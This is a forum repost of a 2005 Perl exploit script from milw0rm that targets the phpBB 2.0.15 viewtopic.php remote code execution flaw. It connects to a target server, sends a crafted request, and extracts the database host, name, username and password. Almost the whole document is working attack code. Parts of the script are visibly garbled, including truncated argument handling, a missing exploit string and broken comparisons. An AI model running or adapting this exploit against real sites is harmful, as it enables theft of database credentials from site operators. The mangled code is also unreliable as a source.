ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
#!/usr/bin/perl

# tested and working /str0ke

#        ********************************************************************
#       **********************************************************************
#      ****                                                                 **
#     ***      ******       *******************                             **
#    ***    ***   ****   ***********************                            **
#   ***   ***     ****                       ****      *   ***    *****     **
#  ***   ***      ***                ***     ***      *  **  **   **        **
# ***   ***                         ***      **         **   **  **         **
#***   ***                          ***    ***          **   **  *****      **
#**   ***                          ***  ****           **   **      **      **
#**   ***       ***  ***   ******* *******             **  ***      **      **
#**   ***      ***   ***  **      *** ***              **  **  **  **       **
#**  ***      ***   ***  **      ***  ***               ***   *****         **
#**   ***     ***   *** **       ***  ***                                   **
#**   ****   ***    ****        ***   ***                                   **
#**     *******    ****   ********     ***********************************  **
#**         ***                                                             **
#**        ***                                                              **
#**                                                                         **
#**      phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability     **
#**      This exploit gives the user all the details about the database     **
#**      connection such as database host, username, password and           **
#**      database name.                                                     **
#**                                                                         **
#**              Written by SecureD,  gvr.securedgmailcom,2005     **
#**                                                                         **
#**      Greetings to GvR, Jumento, PP, CKrew & friends                      **
#**                                                                         **
#***************************************************************************** 
# ***************************************************************************

use IO::Socket;

print "+-----------------------------------------------------------------------+\r\n";
print "|           PhpBB 2.0.15 Database Authentication Details Exploit        |\r\n";
print "|                 By SecureD gvr.securedgmailcom               |\r\n";
print "+-----------------------------------------------------------------------+\r\n";

if (@ARGV new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";

print "[+] Connecting      OK\n";
sleep(1);

print "[+] Sending exploit ";
print $sock "GET $sploit HTTP/1.1\r\n";
print $sock "Host: $serv\r\n";
if ( defined $cookie) {
    print $sock "Cookie: $cookie \r\n";
}
print $sock "Connection: close\r\n\r\n";

$succes = 0;

while ($answer = ) {
    $delimitIndex = index $answer, $delimit;
    if ($delimitIndex >= 0) {
        $succes = 1;
        $urlIndex = index $answer, "href";
        if ($urlIndex  0) {
                $nex = index($answer, $delimit);
                if ($nex > 0) {
                    push(@array, substr($answer, 0, $nex));
                    $answer = substr($answer, $nex + length($delimit), length($answer));
                } else {
                    $answer= "";
                }
            }
        }
    }
}

close($sock);

if ($succes == 1) {
    print "OK\n";
    sleep(1);
    print "[+] Database Host:  " . $array[0] . "\n";
    sleep(1);
    print "[+] Database Name:  " . $array[1] . "\n";
    sleep(1);
    print "[+] Username:       " . $array[2] . "\n";
    sleep(1);
    print "[+] Password:       " . $array[3] . "\n";
    sleep(1);
} else {
    print "FAILED\n";
}

# milw0rm.com [2005-07-03]